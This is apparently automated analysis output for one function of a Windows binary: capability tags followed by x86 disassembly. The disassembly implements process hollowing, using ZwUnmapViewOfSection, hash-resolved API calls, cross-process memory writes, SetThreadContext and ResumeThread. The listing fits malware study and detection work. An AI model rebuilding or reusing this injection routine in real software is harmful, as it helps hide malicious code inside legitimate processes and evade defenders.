Function at 0x1002a50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x300
mov eax, dword [0x102806c]
xor eax, esp
mov dword [esp + 0x2fc], eax
mov eax, dword [esp + 0x304]
push ebx
push ebp
mov ebp, dword [esp + 0x310]
push esi
mov dword [esp + 0x30], eax
push edi
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
lea ebx, [esp + 0x1c]
mov dword [esp + 0x18], edx
call fcn.01002920
test eax, eax
je 0x1002ca8
mov eax, dword [esp + 0x28]
cmp dword [ebp + 0x1c], eax
mov ebx, dword [esp + 0x31c]
mov dword [esp + 0x10], 0
jne 0x1002ad5
mov ecx, dword [esp + 0x2c]
cmp ebx, ecx
ja 0x1002ad5
lea edx, [esp + 0x30]
push edx
push 0x40
push ecx
push eax
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x1002b71
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
call fcn.010014c0
mov edi, eax
mov ecx, str.kernel32.dll
call fcn.01001560
test eax, eax
je 0x1002b04
push 0x1fc0eaee
push eax
mov ecx, edi
call fcn.01001950
push str.ZwUnmapViewOfSection
push esi
call eax
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x18]
push ecx
push edx
call eax
test eax, eax
jne 0x1002b71
cmp dword [ebp + 0x88], eax
je 0x1002b40
cmp dword [ebp + 0x8c], eax
je 0x1002b40
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
push ebx
push eax
push ecx
call fcn.01001a80
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1002b5e
cmp dword [ebp + 0x88], 0
je 0x1002b71
mov edi, dword [esp + 0x14]
mov ecx, ebp
call fcn.010028b0
jmp 0x1002b71
mov edx, dword [ebp + 0x1c]
mov eax, dword [esp + 0x18]
push ebx
push edx
push eax
call fcn.01001a80
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10], 0
jne 0x1002bcb
cmp dword [ebp + 0x88], 0
je 0x1002c9b
cmp dword [ebp + 0x8c], 0
je 0x1002c9b
mov ecx, dword [esp + 0x18]
push ebx
push 0
push ecx
call fcn.01001a80
test eax, eax
mov dword [esp + 0x10], eax
je 0x1002c9b
cmp dword [ebp + 0x88], 0
je 0x1002bc3
mov edi, dword [esp + 0x14]
mov ecx, ebp
call fcn.010028b0
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1002c9b
mov esi, dword [esp + 0xdc]
mov ebx, dword [esp + 0x18]
call fcn.010014c0
mov edi, eax
mov ecx, str.kernel32.dll
call fcn.01001560
test eax, eax
je 0x1002bf8
push 0xbea0bf35
push eax
mov ecx, edi
call fcn.01001950
lea edx, [esp + 0x30]
push edx
push 4
lea ecx, [esp + 0x18]
push ecx
add esi, 8
push esi
push ebx
call eax
mov edx, dword [esp + 0x34]
mov eax, dword [edx + 0x3c]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [eax + edx + 0x34], ecx
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x18]
call fcn.010014c0
mov edi, eax
mov ecx, str.kernel32.dll
call fcn.01001560
test eax, eax
je 0x1002c48
push 0xbea0bf35
push eax
mov ecx, edi
call fcn.01001950
mov ecx, dword [esp + 0x31c]
mov edx, dword [esp + 0x14]
push 0
push ecx
push edx
push esi
push ebx
call eax
test eax, eax
je 0x1002c92
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x38]
push ecx
push edx
mov dword [esp + 0x40], 0x10007
mov dword [esp + 0xf0], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1002ca8
mov ecx, dword [esp + 0x18]
push 0
push ecx
jmp 0x1002ca2
mov edx, dword [esp + 0x18]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0x30c]
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0100fd07
add esp, 0x300
ret 0xc